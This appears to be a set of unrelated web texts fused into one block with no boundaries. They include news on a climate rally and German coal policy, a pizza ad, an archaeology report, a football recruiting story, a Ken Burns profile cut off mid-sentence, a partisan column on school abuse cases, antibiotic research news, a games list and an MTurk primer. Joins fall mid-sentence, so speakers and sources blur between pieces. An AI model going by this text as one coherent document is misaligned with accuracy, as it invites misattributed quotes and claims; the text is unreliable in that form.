Love and freedom: if we are to get anywhere, libertarians and anarchists will need to take BOTH sides of the duality seriously.An estimated 40,000 people gathered in Washington, D.C. on Sunday for the Forward on Climate Rally on the National Mall. The rally preceded a march to the White House to urge President Barack Obama to take action against climate change and reject the Keystone XL pipeline.
350.org founder Bill McKibben said at the rally, according to a statement, “For 25 years our government has basically ignored the climate crisis: now people in large numbers are finally demanding they get to work." He added, "We shouldn't have to be here -- science should have decided our course long ago. But it takes a movement to stand up to all that money."
Sierra Club Executive Director Michael Brune, who was arrested last week protesting the Keystone XL pipeline in front of the White House, reiterated environmentalists' call for Obama and the State Department to reject the permit for TransCanada's international oil sands pipeline.
He said, “President Obama holds in his hand a pen and the power to deliver on his promise of hope for our children. Today, we are asking him to use that pen to to reject the Keystone XL tar sands pipeline, and ensure that this dirty, dangerous, export pipeline will never be built.”
Along with denying the pipeline's permit, organizers 350.org, Sierra Club and the Hip-Hop Caucus hope to see the president work to limit U.S. greenhouse gas emissions and transition to renewable energy.
Actor and environmentalist Robert Redford previously wrote about the planned rally, "This is the beginning. The beginning of a real battle, for America's future." Redford echoed activists' call for Obama to take action. "President Barack Obama's legacy will rest squarely on his response, resolve, and leadership in solving the climate crisis."
Natural Resources Defense Council President Frances Beinecke argued, "The time is right for this rally." In the wake of Obama's comments on climate change in his State of the Union Address, Beinecke wrote, "We want him to know that when he takes these bold actions to stabilize the climate, the American people will support him every step of the way."
Along with the rally in Washington, D.C., environmental groups planned simultaneous rallies in cities across the U.S. A rally in Los Angeles, California, organized by a coalition of over 90 groups, was expected to be the largest climate change rally ever staged in Los Angeles, according to an emailed Statement from the Sierra Club.German energy companies say that construction of over half the country’s planned power plants could be scuppered if the country goes ahead with a leaked plan to set emissions budgets for the country’s biggest polluters.
The proposed law would impose stiff financial penalties for the oldest and most inefficient coal and lignite plants, to be paid in the form of emissions trading certificates.
Clean energy industries and environmentalists see the plan, which would be phased in from 2017, as an essential step to meeting the government’s energiewende blueprint for a 40% cut in carbon output by 2020.
But a German energy industry association survey found that 53% of investors in power plants scheduled to come online in the next decade had frozen their involvement in the projects because of political uncertainty.
“If politicians carry on as they do now then there will be no new, modern power stations. There are no incentives whatsoever for investments, despite politicians emphasising all the time that they aim to change this,” BDEW’s managing director said in a statement on Monday. “It is also likely that further closures will follow.”
The issue is fast becoming a test of the German government’s commitment to decarbonise its economy, with German trades unions threatening mass mobilisations against a measure that they say would put 100,000 jobs at risk.
A spokesman for the European Trades Union Confederation told the Guardian that they would support unions wanting to ensure that climate action was taken in a way that preserved workers’ jobs and communities.
“We call for a just transition to a low carbon economy,” Julian Scola said. “This means that the energy revolution has got to be fair and workers and communities cannot simply be left behind. There have to be negotiations with trades unions and plans must be put in place to assist workers to upgrade their skills and move from high carbon to low carbon industries.”
Opposition to the plan has been concentrated in the east German regions of North Rhine Westphalia and Saxony, which would be most affected. Many politicians from Angela Merkel’s governing coalition of Christian Democrats (CDU) and Social Democrats (SPD) have protested the new carbon limits.
But the German SPD MEP, Jo Leinen told the Guardian: “If this proposal is abandoned, I think we will miss our climate goal. We would drive quite modern but more expensive gas power stations out of the market to continue with cheap coal and that’s not the idea behind the energiewende at all. This is about restructuring the German energy industry and phasing out coal.”
He accepted though that existing schemes to retrain workers and offer them alternative jobs might be difficult to implement in areas such as Saxony.
Hard coal and lignite are responsible for a third of Germany’s greenhouse gas emissions, and make up 44% of the country’s electricity mix. They would be the prime target of the government plan to cut 22 million tonnes of CO2 equivalent (Mtce) by 2020, which is due to be debated in the Bundestag in the summer.
Although the proposed measures would only affect the top 10% of the most CO2 intensive plants, BDEW spokesmen point to figures on the German energy regulator’s website which list 50 planned power plant closures.
The energy firms association calls for a renewed focus on combined heat and power, building renovations and electrified transport as alternative means of meeting Germany’s energiewende commitments.
But clean energy experts say the figures cited by both employers and unions in Germany are alarmist and unrealistic. In 2013, the German utility RWE produced 125.7 (Mtce), Vattenfall emitted 70MtCO2e, and E.On generated 35MtCO2e.
Sabrina Schulz, the head of the E3G environmental think tank in Berlin, said there was no evidence that the new emissions standard would cause job losses or electricity price hikes and the real risk lay elsewhere.
“If the government gives in now, an important window of opportunity will close and not open again for a long time,” she told the Guardian. “This would send the wrong message to the power sector and to investors. The transition needs to happen at any rate if Germany is serious about its climate goals. It will be way more painful and more expensive to start the transition process at a later stage.”
Absent an emissions cutting plan, Germany would also lose credibility in international climate talks, at a time when Angela Merkel was stewarding German leadership of the G7, she added.Waldo Pizza of Lee’s Summit knows more than savory pizza. When you dine with us, we have something on our menu for individuals of every dietary lifestyle — gluten-free is no exception. And since we believe dessert is something everyone should be able to enjoy, we offer an array of the most scrumptious gluten-free desserts available in Lee’s Summit!
Sumptuous Gluten-Free Desserts
What makes our selection of gluten-free desserts so special? After just one bite, you won’t be able to stop — and we guarantee you won’t be able to taste the difference between our gluten-free desserts and their flour-filled counterparts. In fact, some of our decadent gluten-free desserts — like the flour-less Chocolate Sin Cake — are dare we say better than non gluten-free desserts.
Get your mouth watering by reading about our gluten-free desserts below, or call Waldo Pizza of Lee’s Summit at (816) 875-2121 to learn more about our celiac-friendly offerings!A previously undocumented and unknown high status complex of buildings dating from the medieval period has been unearthed at Longforth Farm, Wellington, Somerset, on the site of a new housing development currently being constructed by Bloor Homes.
The site is being excavated by leading specialist heritage company, Wessex Archaeology who have been working on this part of the site since the end of May and will be spending a further three to four weeks on site before building commences.
Excavations on the site so far have uncovered the remains of stone foundations in a pattern which suggests that there may have been a series of buildings on the site set around courtyards. The mystery lies in exactly what the buildings were used for. Finds on the site include roof slates, glazed ceramic roof tiles and decorated floor tiles suggesting that these were substantial buildings of high status – perhaps part of a religious or manorial site.
Bob Davis, Senior Buildings Archaeologist for Wessex Archaeology said:
“This is a significant find and therefore very exciting, particularly as there are no documentary records that such a site ever existed here. Preliminary dating of pottery sherds found at Longforth Farm suggest that the buildings were occupied between the 12th and 14th centuries. At some stage however, the buildings were abandoned, the useable building materials were robbed out and recycled and the site was forgotten.”
Paul Talbot, Design and Technical Director for Bloor Homes who are funding the excavation said:
“We are delighted to have been able to fund this excavation which has enabled Wessex Archaeology to examine and record this exciting find and to help the community understand more about Wellington’s hidden heritage. As a responsible developer, we have embraced the requirement for ecological and archaeological mitigation whilst addressing the housing needs of a continually expanding community.”
Excavations will continue until the end of July when building will commence on the site. Further details about the finds and the history of the site will be published by Wessex Archaeology once the finds have been examined and further research work has been done.
Somerset County Council has also provided advice and support during the excavations and assistance in advance of visits by local schools, archaeological and historical societies and in preparation for a community day on 13 July when the site will be open to the general public. has also provided advice and support during the excavations and assistance in advance of visits by local schools, archaeological and historical societies and in preparation for awhen the site will be open to the general public.
Associated LinksFour-star Episcopal (Alexandria, Va.) cornerback Patrice Rene, has committed to Rutgers over Ohio State, becoming the nineteenth member, and third defensive back, to join Rutgers' recruiting class of 2016.
"The thing about Rutgers is they've been recruiting me since the get go," Rene told NJ.com, Friday. "They were like my third offer. And I've had the opportunity to build a really solid relationship with all the coaches and kind of get to know them a lot. So I really felt at home with them.
"And also, it's just a family atmosphere that they have there. And I have a lot of family in that area, New York. My grandmother lives less than an hour away from Rutgers, so that had a lot to do with it, as well. And I'm just excited about what they're doing, being in the Big Ten. What coach Flood is doing, I think he's on the right path and they're on to bigger and better things. I definitely was excited to be a part of that and wanted to help them achieve their goals."
Altogether, the 6-2, 190-pounder held upwards of 25 offers from North Carolina, Syracuse, Virginia Tech, Penn State, Nebraska, Mississippi State, Oklahoma, Duke, Kentucky and others. But Rutgers' academic reputation helped seal the deal for the Scarlet Knights.
"Having an education from Rutgers really means a lot. It's something that my parents could be proud of. And me, myself, I'll be extremely proud to be able to say I graduated from Rutgers University with a really good degree," said Rene. "So all those factors, that's kind of what it came down to."
MORE RECRUITING: Rutgers moves into top 3, earns official visit from Jovani Haskins following Thursday's visit
Rene believes he's versatile enough to play multiple roles within the defensive backfield, and is willing to be utilized as a swiss army knife of sorts.
"They're kind of looking at me right now as a corner. But they think down the road, maybe I'll end up playing as a safety being my size and everything," said Rene. "But whatever I can help the team with. They wanna also maybe use me as a nickel. I feel comfortable at either position on the defense. I think I'm versatile enough to do that. And I just want to get on the field early and help my team as soon as possible. So wherever they think I fit best, that's where I'll be."
Rene initially committed to Rutgers over two weeks ago, prior to his most recent visit to Ohio State for Friday Night Lights. But with the Rutgers staff aware of his Buckeye interest and the fact that he was scheduled to visit the school, Rene was prompted to hold off on making it official until after that visit.
But once he returned from Columbus, following a standout camp performance, and despite the efforts of the Ohio State staff to flip him, Rene revealed to Rutgers head coach Kyle Flood that he was still Rutgers bound.
"I just basically called him and told him that Rutgers was the place I wanted to go. And he was ecstatic. He was really excited and couldn't believe it at first," said Rene. "He was just excited for me to make it official and couldn't wait.
"He knows what I can do and he's been recruiting me hard," Rene continued. "And, kind of, to have a guy like me, I guess, he kind of told me that he was really happy about it. And we definitely talk. I talk to him almost every day now. And they just can't wait for me to get on campus and start working."
Todderick Hunt may be reached at thunt@njadvancemedia.com. Follow him on Twitter @TodderickHunt. Find NJ.com Rutgers Football on Facebook.Like Steven Tyler, of Aerosmith, Ken Burns has a summer house on Lake Sunapee, in New Hampshire. The property is furnished with Shaker quilts and a motorboat; every July 4th, a fifteen-foot-long American flag hangs over the back deck. He bought the house in the mid-nineties, with money earned from “The Civil War,” his nine-part PBS documentary series, and its spinoffs. When PBS first broadcast that series, in a weeklong binge in the fall of 1990, the network reached its largest-ever audience. The country agreed to gather as if at a table covered with old family photographs, in a room into which someone had invited an indefatigable fiddle player. Johnny Carson praised the series in successive “Tonight Show” monologues; stores in Washington, D.C., reportedly sold out of blank videocassettes. To the satisfaction of many viewers, and the dismay of some historians, Burns seemed to have shaped American history into the form of a modern popular memoir: a tale of wounding and healing, shame and redemption. (The Civil War was “the traumatic event in our childhood,” as Burns later put it.) History became a quasi-therapeutic exercise in national unburdening and consensus building. Burns recently recalled, “People started showing up at the door, wanting to share their photographs of ancestors.” Burns is now sixty-four. He is friends with John Kerry and John McCain. He has been a character on “Clifford’s Puppy Days,” the animated children’s series—“What’s a documentary?” “Great question!”—and has been a guest at the Bohemian Grove, the off-the-record summer camp in Northern California for male members of the American establishment. Visitors to his office see a display of framed Burns-related cartoons, most of which assume familiarity with his filmmaking choices: an authoritative narrator offset by more emotionally committed interviewees, seen in half-lit, vaguely domestic surroundings; slow panning shots across photographs of men with mustaches; and a willingness, unusual in the genre, to attempt compendiousness, to keep going. Last year, a headline in the Onion read “Ken Burns Completes Documentary About Fucking Liars Who Claimed They Watched Entire ‘Jazz’ Series.” Burns’s company, Florentine Films, is based in Walpole, New Hampshire, where Burns has lived since the late seventies. The company has thirty-four full-time employees, and a schedule of documentaries that extends to 2030. When Paula Kerger, PBS’s president and C.E.O., recently introduced Burns at a public event in Los Angeles, she quoted a tweet that described him as “the Marvel Studios of PBS.” Burns’s future plans—of varying uncertainty—include a series about country music, to be broadcast in 2019, and multipart films about the Mayo Clinic, Muhammad Ali, Ernest Hemingway, the American Revolution, Lyndon B. Johnson, Barack Obama, Winston Churchill, crime and punishment in America, and the African-American experience from the Emancipation Proclamation to the Great Migration. Burns, who has not yet strayed from American subjects, and whose work tends to display a kind of wishful patriotism—a soaring appreciation of something that’s not quite there—explained Churchill’s place on the list by saying, “Thank God that he had an American mother.” At Lake Sunapee, which is an hour’s drive from Walpole, Burns likes to take a daily walk. A three-mile loop, on quiet streets, leads him up a hill, and then down to Sunapee Harbor, which has the tidy calm—a bandstand, a little museum—of a place about to be turned to ash in a disaster movie. When I joined him one morning in July, he was wearing a T-shirt, decorated with palm trees, advertising a public radio station in Miami. He walked fast. He pointed out a house that he knew to be currently occupied by witches, and a small hotel that had the air of being “back in the forties or fifties, when there were no interstates.” The people of Sunapee either knew Burns as a neighbor or recognized him as a public figure. He is made conspicuous by an unusual mass of collar-length hair, which resembles the removable piece on the top of a Lego figure. (In 1975, Burns had long hair, and a hairdresser cut most of it off; he still uses that hairdresser, exclusively.) As we walked, Burns said hello to everyone. When he congratulated a man on the progress he was making in the construction of a house, the man explained his success by saying, “I’m old and alone.” When Burns bought the lake house, in 1994, he was recently divorced, and had two young daughters. One of them, Sarah, is now a writer and director of documentaries; she made “The Central Park Five,” in 2012, with her father and David McMahon, her husband. Lilly, her younger sister, is a showrunner on “Broad City,” the Comedy Central series. Burns remarried in 2003, and with his second wife had two more daughters. This summer, when he came to the lake with the girls—now twelve and six—he had again recently divorced. Alongside more troubled thoughts, he was able to describe optimism: since the breakup, he said, his relationships with his younger children had “quadrupled in their intensity and love and intimacy.” His apparent openness and his buoyancy—for more than thirty years, he’s had an audience for Dad jokes—are sometimes obscured by speechifying. His default conversational setting is Commencement Address, involving quotation from nineteenth-century heroes and from his own previous commentary, and moments of almost rhapsodic self-appreciation. He is readier than most people to regard his creative decisions as courageous, and he told me that when people make uninvited suggestions about how he might change his working habits he imagines someone saying, “Mr. Cézanne, how about some watercolors?” As Peter Miller, a close friend since junior-high school, in Ann Arbor, recently noted, fondly, Burns is “not without ego.” He can be sharp, almost peevish, in response to criticism |
’s one fluid experience rather than segments of content.”
Lesson 6: People still want to share what they love with their friends.
With the development of Likes and +1’s and RT’s our social experience is still that; social. Seeing friends’ status updates, photos and comments was still an expected part of the new experience. While Paper missed the mark on some key sharing elements, (no way to mention friends in status updates or easily share favorite content with one specific friend) it’s obvious that we have become co-conspirators of content consumption.
krs10813:
“I like that you can still get to friends profiles, see your notifications, news feed and then you have all these other things to see that you are interested in as well that can be shared. it makes the FB experience more entertaining and interesting.”
Interested in seeing the results of the study? Download the summary PDF here. I’m really looking forward to watching the Facebook Creative Labs team as they continue to explore new mobile experiences. Any thoughts? Opinions on your experience with the app? Questions on the study? Feel free to leave a comment!
About the author: Stef Miller is a former marketer at UserTesting, where she spent most of her time connecting people with content. Miller has worked for global corporations and teeny tiny studios, and believes that true happiness comes from collaborating with creative people to make awesome things happen.A Stunning School Sex Scandal the Media Refuse to Notice
On April 15, Jackson County, Missouri, prosecutors charged James R. Green Jr., 52, with six counts of second-degree statutory sodomy. Green was a teacher and coach at a middle school in the suburban North Kansas City School District. Green’s victim was a sixteen-year-old boy. It appears likely that Green was abusing other boys over a period of at least twelve years in at least two different school districts, and Green’s crime is not the half of it. I learned about this crime for one reason. In January, I became editor of a new, nonprofit, online publication -- Sentinelksmo.org -- designed to counter the disinformation spread by the overwhelmingly liberal media in Missouri and Kansas. Over the years, people have approached me with stories about regional abuses, and I had an easier time placing those stories nationally than locally. In these two deeply red states, there was no media outlet of consequence halfway friendly to conservative causes. Now there is, the Sentinel.
Our partner in this project, the Kansas Policy Institute, hoped to correct the relentlessly dishonest reporting on Kansas taxes and state spending in general and the Sam Brownback administration in particular. As a resident of Missouri, I wanted to cover both states on a wide range of issues, including sex, crime, and education. To do this I had to track the local media and, in doing so, I hit the trifecta when I stumbled upon the article about Green. The story was covered by the local media, but barely. Without digging too hard, I discovered that Green was the sixth employee, all male, busted on sex charges with underage students in the last thirteen months in this one suburban school district. At least five of those employees were arrested. The reporting on the sixth was too sketchy to determine. Four of the interactions were heterosexual, two homosexual. In the same week Green was arrested, a campus supervisor at a high school in the North Kansas City District was charged with sending messages of a sexual nature to two female students, one fourteen and one fifteen. His was one of three cases at that same suburban school. In January 2017, the principal was arrested for having sex with students twenty years prior, and in August 2016 the band director was dismissed for sending sexual texts to students. In November 2016, a teacher pleaded guilty to second-degree statutory sodomy with a female middle school student and was sentenced in December to seven years in prison. And in March 2016, a high school gym teacher was charged with sending pornography and sexting messages to two teenage students. As troubling as these crimes were, what I found truly scandalous was that our local paper of record, the Kansas City Star, has not reported on this larger story. Typically, the paper has done brief one-offs on each crime and then moved on to something meatier, like, say, the latest imagined outrage by Gov. Brownback. The reason for the silence is not hard to understand. The media and the teachers unions share an allegiance to the Democratic Party. The Star goes out of its way to protect the unions, and the unions have gone out of their way to protect the teachers, including the sexual predators. Historically, in Missouri and elsewhere, public schools were uniquely allowed to handle their own sex cases internally. After an accusation was investigated, an attorney representing the school district would typically meet with the attorney for the accused, often paid for by the teachers union, and the two lawyers would work out an agreement. In many cases, the agreement would allow the accused to resign with some severance pay and a letter that did not specify the reason for the departure. So common were these deals nationwide that the process became known as “passing the trash” and the participants as “mobile molesters.” In 2011, with no help from the Star, Missouri State Sen. Jane Cunningham, R-Chesterfield, managed to pass a bill making it more difficult to pass the trash, but as the North Kansas City cases suggest, not impossible. The media indifference has left the school children vulnerable. At the same time, Cunningham was struggling to get her bill passed, the Star was dedicating its energies to Shawn Ratigan, a Catholic priest with the perverse habit of taking lurid photos of little girls unaware they were being photographed. For the Star, the Ratigan scandal was tailor made. Unlike most accused priests, his pathology was heterosexual. Better still, the priest’s ultimate supervisor, Bishop Robert Finn, was described in media reports as a “theological conservative” with a record of challenging the Star’s agenda on life issues. The Star assigned its ace project reporter, Judy Thomas, to the Ratigan story. Locally, she had a reputation for seeking dirt on pro-life institutions, Catholic and evangelical. At the first whiff of the Ratigan scandal, the Star started to run above-the-fold headlines and soon called for the bishop’s resignation. “It’s painful to believe the most vulnerable in his flock weren’t protected,” thundered a Star editorialist. After the photos were discovered, Ratigan attempted suicide. Bishop Finn consulted with his attorneys, and they assured him that what Ratigan had done may have been perverse, but it was not criminal. When Ratigan recovered, Finn assigned him to a home for aged nuns and imposed numerous restrictions. They did not work. Ratigan was caught taking photos at a family reunion. The Star ran at least ninety articles on the Ratigan case, creating enough hysteria to get Ratigan a fifty-year prison sentence and get Finn, a saintly man, prosecuted for failure to report Ratigan to the police immediately. Over the years, Catholic dioceses have dramatically altered their policies for identifying, reporting and removing alleged clerical predators, but, with cover from the media, public school districts have been largely insulated from any efforts to reform union practices. Star editors went so far as to call Bishop Finn “repulsive,” but they have yet to mention the name of the man who runs the North Kansas City School District. As I have discovered, it is not just the national media that need to be watched. No, the local media are just as bad, maybe worse.Chemists at Brown University have synthesized a new compound that makes drug-resistant bacteria susceptible again to antibiotics. The compound -- BU-005 -- blocks pumps that a bacterium employs to expel an antibacterial agent called chloramphenicol. The team used a new and highly efficient method for the synthesis of BU-005 and other C-capped dipetptides.
Results appear in Bioorganic and Medicinal Chemistry.
It's no wonder that medicine's effort to combat bacterial infections is often described as an arms race. When new drugs are developed to combat infections, the bacterial target invariably comes up with a deterrent.
A particularly ingenious weapon in the bacterial arsenal is the drug efflux pump. These pumps are proteins located in the membranes of bacteria that can recognize and expel drugs that have breached the membranes. In some cases, the bacterial pumps have become so advanced they can recognize and expel drugs with completely different structures and mechanisms.
"This turns out to be a real problem in clinical settings, especially when a bacterial pathogen acquires a gene encoding an efflux pump that acts on multiple antibiotics," said Jason Sello, assistant professor of chemistry at Brown University. "In the worst case scenario, a bacterium can go from being drug-susceptible to resistant to five or six different drugs by acquiring a single gene."
A new way to attack drug-resistant bacteria: "If drug efflux pumps are inhibited, then bacteria will be susceptible to drugs again."That leaves two choices: Make more new and costly antibiotics or find a way around the pump. Sello and his group chose the latter. In a paper published in the journal Bioorganic and Medicinal Chemistry, the team reports it has discovered a new compound of C-capped dipeptides, called BU-005, to circumvent a family of drug-efflux pumps associated with Gram-positive bacteria, which include the dangerous MRSA and tuberculosis strains. Until that discovery, C-capped dipeptides were known to work only against an efflux pump family associated with Gram-negative bacteria.
"If drug efflux pumps are inhibited, then bacteria will be susceptible to drugs again," Sello said. "This approach is of interest because one would have to discover efflux pump inhibitors rather than entirely new kinds of antibacterial drugs."
Recently, a company called MPEX Pharmaceuticals discovered that specific C-capped dipeptides could block the efflux pumps of the RND family, which are responsible for much of the drug resistance in Gram-negative bacteria. One of these compounds developed at MPEX advanced to phase I of an FDA clinical trial. Sello and his co-authors investigated whether C-capped dipeptides could block the pumps of another drug efflux family, called the major facilitator superfamily (MFS), which is associated mostly with Gram-positive bacteria.
The Brown team thought that new and perhaps more potent C-capped dipeptide efflux pump blockers could be discovered. Since it is not possible to predict which C-capped dipeptides would be efflux pump blockers, they synthesized a collection of structurally diverse C-capped dipeptides and screened it for compounds with new or enhanced activities.
Normally, this is a four- to five-step process. Sello's group reduced that to two steps, taking advantage of a technique used in other chemistry practices, known as the Ugi reaction. Using this approach, the team was able to prepare dozens of different C-capped dipeptides. They assessed each compound's ability to block two efflux pumps in the bacterium Streptomyces coelicolor, a relative of the human pathogen Mycobacterium tuberculosis and which resists chloramphenicol, one of the oldest antibacterial drugs.
From a collection of nearly 100 C-capped dipeptides that they prepared and tested, the group discovered BU-005. The new compound excited the researchers because it prevented the MFS efflux pump family from expelling chloramphenicol. Until now, structurally related C-capped dipeptides had only been reported to prevent chloramphenicol expulsion by other drug efflux pump families.
"Our findings that C-capped dipeptides inhibit efflux pumps in both Gram-positive and Gram-negative bacteria should reinvigorate interest in these compounds," Sello said. "Moreover, our simplified synthetic route should make the medicinal chemistry on this class of compounds much simpler."
Two Brown undergraduate students, Daniel Greenwald '12, and Jessica Wroten '11, helped perform the research and are contributing authors on the paper.
Greenwald joined the team in his freshman year, after reaching out to Sello. "This project was the first real immersion I had into chemistry research at an advanced level," said Greenwald, of Madison, Wisc. "It was an amazing opportunity to be able to use the tools of synthetic chemistry to address problems from molecular biology. It was definitely one of the most engaging aspects of my experience at Brown."
Babajide Okandeji, who earned his doctorate last May and is a new products quality control chemist at Waters Corp. in Taunton, Mass., is the paper's first author.Graham Reznick co-wrote Until Dawn with Larry Fessenden and Supermassive Games. He directs films (I Can See You), sound designs films (The House of the Devil), and he recently directed the audio drama The Chambers Tape, a 1970s New Age guided meditation that goes horribly wrong. He’s on Twitter.
Hello, and welcome to my Top Eleven(ish) Games of 2015 list, not ranked. I asked Until Dawn co-writer Larry Fessenden to help me write this, but he’s only played one video game in his life (so he says), and it was two hours of Until Dawn at my apartment. His list looked like this:
10. UNTIL DAWN
9. UNTIL DAWN
8. UNTIL DAWN
7. UNTIL DAWN
6. UNTIL DAWN
5. UNTIL DAWN
4. UNTIL DAWN
3. UNTIL DAWN
2. UNTIL DAWN
1. UNTIL DAWN
I took Larry’s suggestions under advisement but decided to make my own unranked list. UNTIL DAWN isn’t even mentioned for at least one paragraph.
At first glance, the subject of Life Is Strange wasn’t totally in my wheelhouse (a teenage girl at a Pacific Northwest boarding school takes photos and has feelings) but it reminded me of Gone Home and it looked like something I could convince my wife to play with me. And we loved it. It wasn’t just that it veered quickly towards mind-bending science fiction, it was that the characters were well drawn, relatable, and, most importantly: they were shaped by the player’s decisions.
Life Is Strange is in a type of genre that has only recently become truly possible--interactive cinematic narrative. This was one of the main goals of Until Dawn, and it’s thrilling to see another game pull it off while telling a completely different type of story with different gameplay mechanics--and see both go over so well with audiences.
Designing/writing for interactive narrative forces the creators to collaborate with the audience, to anticipate their reaction and adapt the story to their choices. But, in games like Life Is Strange there’s still a very distinct sense of direction--no matter what the player does, the story will still always have a solid trajectory. I can’t wait to see more stories designed like this.
Australian science fiction novelist Greg Egan is one of my favorite writers, so I was stoked to discover that SOMA seems to take inspiration from his book Permutation City. That said, this is is a game where you should know almost nothing about the story before going in. Just experience it. The visuals are glitchy and caustic in the most satisfyingly disorienting ways. The audio is stellar. The gnarly robotic vocalizations are violent and jagged but have a keen sense of raw emotion. Accomplishing that balance is vital to the plot. And the foley is location based, meaning it was recorded in real world locations as opposed to in a studio. So, in game, if you hear footsteps on metal in a big open room they’re actually the sound of footsteps on metal in a big open room. This leads to a remarkably naturalistic sense of spatial presence--which amplifies the terror.
Play while wearing headphones or a nice surround sound system if you can.
Bloodborne
Ah, Bloodborne. What is there left to say? Welcome home, good hunter! Very well, let the echoes become your strength! May the good blood guide your way! The bell ringing woman rings a sinister bell! Tiny Tonitrus! Master Logarius! Cainhurst Castle! Brain of Mensis! Snake Ball, Viper Pit, and Cramped Casket! Grinding Slime Students for Blood Echoes! And who could forget Rom, The Vacuous Spider! Yharnam Yharnam Yharnam Yharnam! My fingers have been sore since March.
"But Graham," you say, out loud. "Isn't Downwell a combo driven retro 2D platformer? And isn’t Batman: Arkham Knight the massive final chapter in a AAA trilogy based on a 75 year old billion dollar franchise? Featuring open world storytelling and twitchy Riddler racing levels that deserve their own standalone game? And Ghost In The Shell style Batmobile tank battles, and so many motherfucking Riddler trophies it makes anyone with even a touch of OCD want to pull out every hair on their body one at at time? How are these two titles related? Is it because they both feature characters plummeting onto the heads of enemies while trying to connect their takedowns into epic combos? Huh. I guess that could actually be a connection. Maybe I answered my own question. But that’s not enough to combine them into their own slot. Is it? …Hello?”
The original Smash Hit came out last year and I played through the entire thing on my phone in one evening. Then I played it over and over again. You fly (straight forward) through a series of crystalline tunnels while tossing out silver metal pinballs at glass booby traps hell bent on getting up in your face--which can cost you precious multiball combos and remaining balls. The electronic score is great too--just the right balance of relaxing and propelling. When I saw this for sale on the Oculus store I literally shouted "OH YEAH!" and then jumped through a wall like the Kool-Aid Man. It's perfect for VR. If you have any access to a headset, run, don't walk, to stick your face in it.
"But Graham," you telepathically intone. "It's just a card game. And not even a gamey card game like Magic or Hearthstone. BORING. So what if it was created by Zach Gage, one of the minds behind Ridiculous Fishing and SpellTower. Who needs a casual card game in their life? Not me! I never watch cheesy TV shows late at night while simultaneously playing games that don't require my full attention yet exercise my brain in short bursts. I never enjoy unexpectedly deep point systems and strategies that get me closer to those sweet high scores. I never play casually complex games like Threes! or Drop 7. What I’m trying to say is, I have no idea why I spent so much time over the last few minutes telepathically thinking all this so hard at you if I’m clearly not interested in Sage Solitaire!”
“Please stop,” I telepathically reply. “You’re breaking my concentration, and I’ve almost finally unlocked Sage Solitaire’s Vegas Mode.” You instantly die of surprise, because telepathy doesn’t exist.
In 2012 Luca Redwood (EightyEight Games) nailed the puzzle-matcher RPG with his left-field hit 10000000. In 2015, he improved upon perfection with You Must Build a Boat. Complex tile-matching gameplay is given frantic time-constraints when paired with a dungeon crawling hero fighting monsters in the top quadrant of the screen.
Depending on the type of enemy your hero faces, you have to react quickly and strategically to match the right type of tiles. Monster A? Sword tiles. Monster B? Staff tiles. There are also shields, buffs and powerups, muscle and brain tiles to boost stats, and key tiles to unlock chests and defeat spells. Through it all, you build a boat. Every room on the boat has a new purpose--level up your weapon, buy a potion, recruit a monster. I played this game for four days straight and forgot to eat for three of them.
Everybody's Gone to the Rapture is another game with a plot that you should know as little as possible about before playing. However, it’s good to know what kind of game you’re playing. I like to think of games like this as palimpsest narrative--the past has been written over by the present, and only by a player scrubbing through the present can we uncover the story of the past hidden beneath. Usually this is accomplished through audio logs, and usually only as an additional element of gameplay. Games like Gone Home (and to some extent, SOMA) are a more focused type of palimpsest game that make audio logs the core element of gameplay. Everybody's Gone to the Rapture takes it a step further and combines audio logs with a gorgeous visual component that’s tied to the plot in a clever way.
If it trips you up that it seems like a walking simulator, think of it more as a memory simulator: moments imprinted in a location play out as echoes, allowing you to piece together the lives (and disappearances) of its inhabitants. You’re an observer--things are happening, with or without you. Maybe you’ll see them, maybe you won’t--it forces you to pay attention.
Speaking of audio logs, Her Story is told entirely through “video logs.” They’re out of order, and you only access them through entering keywords into a search bar. And there’s nothing else to it. The mystery is compelling, the writing and acting is top notch, and it compels obsession with detail at the finest grain. It's a shockingly fresh way to tell a story.
So, when I say that I jumped through a wall like the Kool-Aid Man after I heard about Smash Hit in VR, believe me when I say I literally ripped off my own head and triple flip slam dunked it on a basketball net at the top of the Empire State Building when I heard about Minotaur Rescue in VR. If you’ve ever played a Jeff Minter/Llamasoft game before, you have some idea of what to expect. He’s the mind behind dozens of neo-psychedelic arcade games (on systems from Commodore 64 to iOS), including Gridrunner, Tempest 2000, GoatUp, and, of course, Minotaur Rescue.
I'm a fan of this old Minter-esque PC game called Spheres of Chaos, a wildly psychedelic Asteroids clone that uses extremely low visual refresh rates to create maddening fields of color explosions. I’ve always wanted to sink into that world and be surrounded by it. That’s Minotaur Rescue in VR.
Real World Escape Rooms
“But Graham,” you write, in an imagined conversation for a Top Ten Games of 2015 list. “Are real world Escape Rooms even video games?”
“Why no!” I reply, playing along. “They’re not. Technically. But Escape Rooms employ a very similar style of puzzle solving used in video games. Ever play The Room series?
“Oh yeah, totally, I love those,” you say, hypothetically. “That’s what they’re like?”
“Yeah! A lot of Escape Rooms even use blacklights to plant clues, just like the eyepiece clues in The Room.”
“So, wait--why not just put 2015's The Room Three on your list?,” you cleverly parlay, grinning smugly.
“Because I haven’t played it yet!" I yell. "I don’t have time to play every game the second they come out. You think I’ve played Fallout 4 yet? Well guess what, I haven’t!”
“Stop shouting!” you say. “Hey. Wait a second. Didn’t I die earlier? I feel like maybe I died--”
“Seriously, check out an Escape Room sometime,” I say, cutting you off. “2015 is the year they really started to blow up. Most major cities have at least a few. I think you’d have a great time.”
“You know what? I’m getting sick and tired of you thinking you know what I’ll like and what I’m going to say next,” you say next. “You don’t know me! Get out of my head!”
I don’t answer.
“Are you gone yet, you scoundrel?” you read, certain you would never use the word ‘scoundrel.’
I still don't answer.
You wait patiently for my reply.
You forget to eat.
You are dead...Amazon Mechanical Turk (MTurk) is currently the most popular crowdsourced marketplace for work. It has rapidly transformed how social science research is conducted. Over the past three or four years, MTurk has been enthusiastically adopted across the social sciences as a viable mainstream alternative to using students or other respondents to conduct experimental and survey-based research.
For social scientists, collecting data with MTurk has three compelling advantages:
Cheap data: With an MTurk sample, data collection is cheap! Compared to other online panels, respondent costs can be as much as 80-90% lower, so data collection budgets stretch much further.
Fast data: Data collection is fast. It is entirely possible to gather a few hundred responses within an hour or two. Researchers love the speed because they can test their ideas quickly.
Quality data: The quality of data is acceptable. Since 2010, a number of studies have validated data quality of MTurk samples, finding it to be sufficiently diverse (although not representative), and comparable to other more expensive online data sources.
